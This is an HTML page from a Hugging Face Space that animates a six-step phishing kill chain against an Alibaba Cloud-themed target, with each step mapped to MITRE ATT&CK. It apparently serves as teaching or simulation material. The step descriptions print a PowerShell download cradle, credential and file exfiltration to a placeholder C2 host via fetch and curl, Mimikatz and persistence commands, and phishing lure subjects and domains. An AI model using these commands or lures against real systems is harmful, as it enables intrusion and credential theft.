Download index.html from capta1n/bas: direct link, hf CLI and curl.
- Browser
- Download file 29.9 kB
-
https://huggingface.co/spaces/capta1n/bas/resolve/main/index.html
- Command line
-
hf download hf://spaces/capta1n/bas/index.html
-
curl -L -o index.html https://huggingface.co/spaces/capta1n/bas/resolve/main/index.html
29.9 kB
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Advanced Phishing Attack Sandbox Visualization</title> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> | |
| <style> | |
| .network-line { | |
| position: absolute; | |
| background-color: #e5e7eb; | |
| z-index: 0; | |
| } | |
| .attack-node { | |
| transition: all 0.3s ease; | |
| z-index: 1; | |
| } | |
| .attack-node:hover { | |
| transform: scale(1.05); | |
| box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1); | |
| } | |
| .malicious { | |
| border: 2px solid #ef4444; | |
| } | |
| .compromised { | |
| border: 2px solid #f59e0b; | |
| } | |
| .critical { | |
| border: 2px solid #ef4444; | |
| } | |
| .data-flow { | |
| stroke-dasharray: 5; | |
| animation: dash 30s linear infinite; | |
| } | |
| @keyframes dash { | |
| to { | |
| stroke-dashoffset: -1000; | |
| } | |
| } | |
| .tooltip { | |
| position: absolute; | |
| padding: 8px; | |
| background: rgba(0, 0, 0, 0.8); | |
| color: white; | |
| border-radius: 4px; | |
| pointer-events: none; | |
| font-size: 12px; | |
| z-index: 100; | |
| max-width: 300px; | |
| } | |
| </style> | |
| </head> | |
| <body class="bg-gray-100"> | |
| <div class="container mx-auto px-4 py-8"> | |
| <h1 class="text-3xl font-bold text-center text-gray-800 mb-2">Advanced Phishing Attack Sandbox</h1> | |
| <p class="text-center text-gray-600 mb-8">Visualization of the complete attack kill chain from initial compromise to data exfiltration</p> | |
| <!-- Attack Legend --> | |
| <div class="bg-white rounded-lg shadow-md p-4 mb-8 grid grid-cols-1 md:grid-cols-4 gap-4"> | |
| <div class="flex items-center"> | |
| <div class="w-4 h-4 rounded-full bg-red-500 mr-2"></div> | |
| <span class="text-sm">Attacker Infrastructure</span> | |
| </div> | |
| <div class="flex items-center"> | |
| <div class="w-4 h-4 rounded-full bg-blue-500 mr-2"></div> | |
| <span class="text-sm">Victim Assets</span> | |
| </div> | |
| <div class="flex items-center"> | |
| <div class="w-4 h-4 rounded-full bg-yellow-500 mr-2"></div> | |
| <span class="text-sm">Compromised Systems</span> | |
| </div> | |
| <div class="flex items-center"> | |
| <div class="w-4 h-4 rounded-full bg-green-500 mr-2"></div> | |
| <span class="text-sm">Data Exfiltration</span> | |
| </div> | |
| </div> | |
| <!-- Sandbox Visualization --> | |
| <div class="relative bg-white rounded-xl shadow-lg p-6 h-[600px] overflow-hidden border border-gray-200"> | |
| <!-- Background Network Lines --> | |
| <div class="absolute inset-0 opacity-20"> | |
| <div class="absolute left-1/4 top-0 bottom-0 w-px bg-gray-300"></div> | |
| <div class="absolute left-2/4 top-0 bottom-0 w-px bg-gray-300"></div> | |
| <div class="absolute left-3/4 top-0 bottom-0 w-px bg-gray-300"></div> | |
| <div class="absolute top-1/3 left-0 right-0 h-px bg-gray-300"></div> | |
| <div class="absolute top-2/3 left-0 right-0 h-px bg-gray-300"></div> | |
| </div> | |
| <!-- Attacker Infrastructure --> | |
| <div id="attacker" class="attack-node absolute left-[10%] top-[15%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center"> | |
| <div class="bg-red-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-user-secret text-red-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-red-800">Attacker</h3> | |
| <p class="text-xs text-red-600 mt-1">C2: 185.143.223.47</p> | |
| </div> | |
| <!-- Phishing Server --> | |
| <div id="phishing" class="attack-node absolute left-[10%] top-[40%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center"> | |
| <div class="bg-red-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-server text-red-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-red-800">Phishing Server</h3> | |
| <p class="text-xs text-red-600 mt-1">aliyun-support[.]com</p> | |
| </div> | |
| <!-- Malicious Document --> | |
| <div id="document" class="attack-node absolute left-[10%] top-[65%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center"> | |
| <div class="bg-red-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-file-word text-red-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-red-800">Malicious Doc</h3> | |
| <p class="text-xs text-red-600 mt-1">阿里云安全报告_v2023.pdf</p> | |
| </div> | |
| <!-- Victim --> | |
| <div id="victim" class="attack-node absolute left-[35%] top-[40%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center"> | |
| <div class="bg-blue-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-user text-blue-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-blue-800">Employee</h3> | |
| <p class="text-xs text-blue-600 mt-1">user@company.com</p> | |
| </div> | |
| <!-- Compromised Workstation --> | |
| <div id="workstation" class="attack-node absolute left-[60%] top-[40%] bg-yellow-50 p-4 rounded-lg shadow-sm border-2 border-yellow-300 w-[160px] text-center compromised"> | |
| <div class="bg-yellow-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-laptop-code text-yellow-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-yellow-800">Workstation</h3> | |
| <p class="text-xs text-yellow-600 mt-1">Cobalt Strike Beacon</p> | |
| </div> | |
| <!-- Internal SSH Server --> | |
| <div id="ssh-server" class="attack-node absolute left-[60%] top-[15%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center"> | |
| <div class="bg-blue-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-shield-alt text-blue-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-blue-800">SSH Server</h3> | |
| <p class="text-xs text-blue-600 mt-1">10.0.0.5</p> | |
| </div> | |
| <!-- Compromised SSH Server --> | |
| <div id="compromised-ssh" class="attack-node absolute left-[60%] top-[15%] bg-yellow-50 p-4 rounded-lg shadow-sm border-2 border-yellow-300 w-[160px] text-center compromised hidden"> | |
| <div class="bg-yellow-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-shield-alt text-yellow-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-yellow-800">SSH Server</h3> | |
| <p class="text-xs text-yellow-600 mt-1">10.0.0.5 (Compromised)</p> | |
| </div> | |
| <!-- Internal Database --> | |
| <div id="database" class="attack-node absolute left-[85%] top-[40%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center"> | |
| <div class="bg-blue-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-database text-blue-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-blue-800">Database</h3> | |
| <p class="text-xs text-blue-600 mt-1">10.0.1.10</p> | |
| </div> | |
| <!-- Exfiltrated Data --> | |
| <div id="exfiltration" class="attack-node absolute left-[85%] top-[65%] bg-green-50 p-4 rounded-lg shadow-sm border-2 border-green-300 w-[160px] text-center hidden"> | |
| <div class="bg-green-100 p-3 rounded-full inline-block mb-2"> | |
| <i class="fas fa-cloud-download-alt text-green-600 text-xl"></i> | |
| </div> | |
| <h3 class="font-bold text-green-800">Exfiltrated Data</h3> | |
| <p class="text-xs text-green-600 mt-1">*.sql, *.pem, *.key</p> | |
| </div> | |
| <!-- Attack Flow Arrows (dynamically drawn with JS) --> | |
| <svg class="absolute inset-0 w-full h-full" id="attack-flow"></svg> | |
| <!-- Attack Timeline Controls --> | |
| <div class="absolute bottom-4 left-0 right-0 flex justify-center"> | |
| <div class="bg-white rounded-lg shadow-md p-4 flex items-center space-x-4"> | |
| <button id="prev-step" class="px-3 py-1 bg-gray-200 rounded-md hover:bg-gray-300"> | |
| <i class="fas fa-chevron-left"></i> | |
| </button> | |
| <div class="text-sm font-medium" id="current-step">Step 1: Initial Phishing</div> | |
| <button id="next-step" class="px-3 py-1 bg-gray-200 rounded-md hover:bg-gray-300"> | |
| <i class="fas fa-chevron-right"></i> | |
| </button> | |
| <button id="play-attack" class="px-3 py-1 bg-blue-100 text-blue-700 rounded-md hover:bg-blue-200 ml-4"> | |
| <i class="fas fa-play mr-1"></i> Play Attack | |
| </button> | |
| </div> | |
| </div> | |
| <!-- Tooltip --> | |
| <div class="tooltip hidden" id="attack-tooltip"></div> | |
| </div> | |
| <!-- Attack Step Details --> | |
| <div class="mt-8 bg-white rounded-lg shadow-md p-6"> | |
| <h2 class="text-xl font-bold text-gray-800 mb-4" id="step-title">Step 1: Initial Phishing</h2> | |
| <div class="grid grid-cols-1 md:grid-cols-2 gap-6"> | |
| <div> | |
| <h3 class="font-medium text-gray-700 mb-2">Technical Details</h3> | |
| <div class="bg-gray-50 p-4 rounded-md" id="step-details"> | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Email subjects: "紧急通知:阿里云账号异常登录提醒"</li> | |
| <li>Body mimics official Alibaba Cloud communications</li> | |
| <li>Contains malicious attachment or phishing link</li> | |
| <li>Spoofed sender: security@alibaba-inc.com</li> | |
| </ul> | |
| </div> | |
| </div> | |
| <div> | |
| <h3 class="font-medium text-gray-700 mb-2">MITRE ATT&CK Mapping</h3> | |
| <div class="bg-gray-50 p-4 rounded-md"> | |
| <div class="flex items-center mb-2"> | |
| <span class="bg-blue-100 text-blue-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">T1566.001</span> | |
| <span>Spearphishing Attachment</span> | |
| </div> | |
| <div class="flex items-center"> | |
| <span class="bg-purple-100 text-purple-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">T1598</span> | |
| <span>Phishing for Information</span> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <script> | |
| // Attack steps data | |
| const attackSteps = [ | |
| { | |
| title: "Step 1: Initial Phishing", | |
| details: ` | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Email subjects: "紧急通知:阿里云账号异常登录提醒" or "内部会议纪要(机密)"</li> | |
| <li>Body mimics official Alibaba Cloud communications</li> | |
| <li>Contains malicious attachment or phishing link</li> | |
| <li>Attachment: 阿里云安全报告_v2023.pdf (malicious macro)</li> | |
| <li>Phishing URL: https://aliyun-support[.]com/verify</li> | |
| <li>Spoofed sender: security@alibaba-inc.com</li> | |
| <li>Typosquatting domain: al1baba-inc[.]com</li> | |
| </ul> | |
| `, | |
| mitre: [ | |
| { id: "T1566.001", name: "Spearphishing Attachment" }, | |
| { id: "T1598", name: "Phishing for Information" } | |
| ], | |
| draw: (svg) => { | |
| // Draw line from attacker to phishing server | |
| drawLine(svg, "#attacker", "#phishing", "red"); | |
| // Draw line from phishing server to victim | |
| drawLine(svg, "#phishing", "#victim", "red"); | |
| // Draw line from attacker to malicious doc | |
| drawLine(svg, "#attacker", "#document", "red"); | |
| // Draw line from malicious doc to victim | |
| drawLine(svg, "#document", "#victim", "red"); | |
| } | |
| }, | |
| { | |
| title: "Step 2: Payload Execution", | |
| details: ` | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Victim opens malicious document and enables macros</li> | |
| <li>Macro executes PowerShell payload:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| powershell IEX (New-Object Net.WebClient).DownloadString('http://C2-SERVER/payload.ps1') | |
| </div> | |
| <li>Or victim enters credentials on phishing site</li> | |
| <li>JavaScript steals credentials:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| fetch('http://C2-SERVER/steal', {<br> | |
| method: 'POST',<br> | |
| body: JSON.stringify({user: username, pass: password})<br> | |
| }); | |
| </div> | |
| </ul> | |
| `, | |
| mitre: [ | |
| { id: "T1059.001", name: "PowerShell" }, | |
| { id: "T1204.002", name: "Malicious File" } | |
| ], | |
| draw: (svg) => { | |
| // Previous steps | |
| attackSteps[0].draw(svg); | |
| // Highlight victim | |
| document.querySelector("#victim").classList.add("critical"); | |
| // Draw line from victim to workstation (compromise) | |
| drawLine(svg, "#victim", "#workstation", "red", 3); | |
| // Draw line from workstation to attacker (C2) | |
| drawLine(svg, "#workstation", "#attacker", "red", 2, true); | |
| } | |
| }, | |
| { | |
| title: "Step 3: C2 Implantation", | |
| details: ` | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Cobalt Strike beacon established</li> | |
| <li>Persistence mechanisms installed:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br> | |
| Task: schtasks /create /tn "Windows Update" /tr "C:\Windows\System32\malicious.exe" | |
| </div> | |
| <li>C2 configuration:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| windows/x64/reflective PE<br> | |
| HTTPS with valid certificate<br> | |
| Multiple IP rotation via CDN | |
| </div> | |
| </ul> | |
| `, | |
| mitre: [ | |
| { id: "T1572", name: "Protocol Tunneling" }, | |
| { id: "T1547.001", name: "Registry Run Keys" }, | |
| { id: "T1053", name: "Scheduled Task" } | |
| ], | |
| draw: (svg) => { | |
| // Previous steps | |
| attackSteps[1].draw(svg); | |
| // Highlight workstation as compromised | |
| document.querySelector("#workstation").classList.remove("critical"); | |
| document.querySelector("#workstation").classList.add("compromised"); | |
| // Draw ongoing C2 communication | |
| drawLine(svg, "#workstation", "#attacker", "red", 2, true); | |
| } | |
| }, | |
| { | |
| title: "Step 4: Credential Theft", | |
| details: ` | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Credential harvesting:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| Mimikatz !sekurlsa::logonpasswords<br> | |
| Search C:\Users\*\.ssh\id_rsa<br> | |
| cmdkey /list | |
| </div> | |
| <li>Browser cookie theft:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| Decrypt Chrome/Edge cookies<br> | |
| Filter for alibaba-inc.com sessions | |
| </div> | |
| <li>SSH key discovery:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| C:\Users\*\.ssh\id_rsa<br> | |
| C:\Users\*\.ssh\config | |
| </div> | |
| </ul> | |
| `, | |
| mitre: [ | |
| { id: "T1555", name: "Credentials from Password Stores" }, | |
| { id: "T1552.001", name: "Credentials In Files" }, | |
| { id: "T1539", name: "Steal Web Session Cookie" } | |
| ], | |
| draw: (svg) => { | |
| // Previous steps | |
| attackSteps[2].draw(svg); | |
| // Draw credential theft to attacker | |
| drawLine(svg, "#workstation", "#attacker", "red", 3, true); | |
| // Add tooltip to show credential flow | |
| addTooltip("#workstation", "Sending stolen credentials to C2"); | |
| } | |
| }, | |
| { | |
| title: "Step 5: Lateral Movement", | |
| details: ` | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Internal reconnaissance:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| nmap -sS 10.0.0.0/24<br> | |
| for ip in {1..254}; do ssh -o ConnectTimeout=1 user@10.0.0.$ip; done | |
| </div> | |
| <li>SSH access using stolen credentials:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| ssh -i id_rsa user@10.0.0.5<br> | |
| plink.exe -ssh -P 22 -i id_rsa user@10.0.0.6 | |
| </div> | |
| <li>Browser proxy for internal access:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| proxychains4 -q -f /path/to/config.txt firefox<br> | |
| Proxy config: 1.2.3.4:8080 | |
| </div> | |
| </ul> | |
| `, | |
| mitre: [ | |
| { id: "T1021.004", name: "Remote Services: SSH" }, | |
| { id: "T1090", name: "Proxy" }, | |
| { id: "T1018", name: "Remote System Discovery" } | |
| ], | |
| draw: (svg) => { | |
| // Previous steps | |
| attackSteps[3].draw(svg); | |
| // Show compromised SSH server | |
| document.querySelector("#ssh-server").classList.add("hidden"); | |
| document.querySelector("#compromised-ssh").classList.remove("hidden"); | |
| // Draw line from workstation to SSH server | |
| drawLine(svg, "#workstation", "#compromised-ssh", "red", 3); | |
| // Add tooltip to show lateral movement | |
| addTooltip("#compromised-ssh", "Using stolen SSH keys for access"); | |
| } | |
| }, | |
| { | |
| title: "Step 6: Data Exfiltration", | |
| details: ` | |
| <ul class="list-disc pl-5 text-sm text-gray-600 space-y-1"> | |
| <li>Target files for exfiltration:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| *.pem, *.key, *.sql, *.db | |
| </div> | |
| <li>Data collection methods:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| Browser JavaScript injection:<br> | |
| document.querySelectorAll('input[type="password"]') | |
| </div> | |
| <li>Exfiltration techniques:</li> | |
| <div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs"> | |
| split -b 5MB sensitive.tar.gz | curl -X POST -F 'file=@-' http://C2-SERVER/upload | |
| </div> | |
| </ul> | |
| `, | |
| mitre: [ | |
| { id: "T1041", name: "Exfiltration Over C2 Channel" }, | |
| { id: "T1020", name: "Automated Exfiltration" }, | |
| { id: "T1567", name: "Exfiltration Over Web Service" } | |
| ], | |
| draw: (svg) => { | |
| // Previous steps | |
| attackSteps[4].draw(svg); | |
| // Show exfiltrated data | |
| document.querySelector("#exfiltration").classList.remove("hidden"); | |
| // Draw line from database to exfiltration | |
| drawLine(svg, "#database", "#exfiltration", "green", 3); | |
| // Draw line from exfiltration to attacker | |
| drawLine(svg, "#exfiltration", "#attacker", "green", 3, true); | |
| // Add tooltip to show data flow | |
| addTooltip("#exfiltration", "Sensitive data being exfiltrated to attacker"); | |
| } | |
| } | |
| ]; | |
| // Current step index | |
| let currentStep = 0; | |
| // Draw line between elements | |
| function drawLine(svg, fromSelector, toSelector, color = "red", width = 2, animate = false) { | |
| const fromEl = document.querySelector(fromSelector); | |
| const toEl = document.querySelector(toSelector); | |
| if (!fromEl || !toEl) return; | |
| const fromRect = fromEl.getBoundingClientRect(); | |
| const toRect = toEl.getBoundingClientRect(); | |
| const svgRect = svg.getBoundingClientRect(); | |
| const x1 = fromRect.left + fromRect.width/2 - svgRect.left; | |
| const y1 = fromRect.top + fromRect.height/2 - svgRect.top; | |
| const x2 = toRect.left + toRect.width/2 - svgRect.left; | |
| const y2 = toRect.top + toRect.height/2 - svgRect.top; | |
| const line = document.createElementNS("http://www.w3.org/2000/svg", "line"); | |
| line.setAttribute("x1", x1); | |
| line.setAttribute("y1", y1); | |
| line.setAttribute("x2", x2); | |
| line.setAttribute("y2", y2); | |
| line.setAttribute("stroke", color); | |
| line.setAttribute("stroke-width", width); | |
| line.setAttribute("stroke-linecap", "round"); | |
| if (animate) { | |
| line.classList.add("data-flow"); | |
| } | |
| svg.appendChild(line); | |
| } | |
| // Add tooltip to element | |
| function addTooltip(selector, text) { | |
| const el = document.querySelector(selector); | |
| const tooltip = document.getElementById("attack-tooltip"); | |
| if (!el || !tooltip) return; | |
| el.addEventListener("mouseenter", (e) => { | |
| const rect = el.getBoundingClientRect(); | |
| tooltip.textContent = text; | |
| tooltip.style.left = `${rect.left + rect.width/2 - 150}px`; | |
| tooltip.style.top = `${rect.top - 40}px`; | |
| tooltip.classList.remove("hidden"); | |
| }); | |
| el.addEventListener("mouseleave", () => { | |
| tooltip.classList.add("hidden"); | |
| }); | |
| } | |
| // Update visualization for current step | |
| function updateVisualization() { | |
| const svg = document.getElementById("attack-flow"); | |
| svg.innerHTML = ""; | |
| // Reset all elements | |
| document.querySelectorAll(".attack-node").forEach(el => { | |
| el.classList.remove("critical", "compromised"); | |
| el.classList.remove("hidden"); | |
| }); | |
| document.getElementById("exfiltration").classList.add("hidden"); | |
| document.getElementById("compromised-ssh").classList.add("hidden"); | |
| document.getElementById("ssh-server").classList.remove("hidden"); | |
| // Draw current step | |
| attackSteps[currentStep].draw(svg); | |
| // Update step info | |
| document.getElementById("step-title").textContent = attackSteps[currentStep].title; | |
| document.getElementById("step-details").innerHTML = attackSteps[currentStep].details; | |
| document.getElementById("current-step").textContent = attackSteps[currentStep].title; | |
| // Update MITRE ATT&CK | |
| const mitreContainer = document.querySelector(".bg-gray-50 > div:last-child"); | |
| mitreContainer.innerHTML = attackSteps[currentStep].mitre.map(item => ` | |
| <div class="flex items-center mb-2"> | |
| <span class="bg-blue-100 text-blue-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">${item.id}</span> | |
| <span>${item.name}</span> | |
| </div> | |
| `).join(""); | |
| } | |
| // Initialize | |
| document.addEventListener("DOMContentLoaded", () => { | |
| updateVisualization(); | |
| // Navigation controls | |
| document.getElementById("prev-step").addEventListener("click", () => { | |
| if (currentStep > 0) { | |
| currentStep--; | |
| updateVisualization(); | |
| } | |
| }); | |
| document.getElementById("next-step").addEventListener("click", () => { | |
| if (currentStep < attackSteps.length - 1) { | |
| currentStep++; | |
| updateVisualization(); | |
| } | |
| }); | |
| // Play attack animation | |
| document.getElementById("play-attack").addEventListener("click", () => { | |
| currentStep = 0; | |
| updateVisualization(); | |
| let i = 0; | |
| const interval = setInterval(() => { | |
| if (i < attackSteps.length - 1) { | |
| i++; | |
| currentStep = i; | |
| updateVisualization(); | |
| } else { | |
| clearInterval(interval); | |
| } | |
| }, 2000); | |
| }); | |
| // Add tooltips to all attack nodes | |
| addTooltip("#attacker", "Attacker controlled infrastructure"); | |
| addTooltip("#phishing", "Phishing server hosting fake login page"); | |
| addTooltip("#document", "Malicious document with embedded macro"); | |
| addTooltip("#victim", "Targeted employee receiving phishing email"); | |
| addTooltip("#workstation", "Compromised workstation with C2 beacon"); | |
| addTooltip("#ssh-server", "Internal SSH server target"); | |
| addTooltip("#compromised-ssh", "Compromised SSH server via stolen keys"); | |
| addTooltip("#database", "Internal database with sensitive information"); | |
| addTooltip("#exfiltration", "Stolen data being sent to attacker"); | |
| }); | |
| </script> | |
| <p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bas" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> | |
| </html> |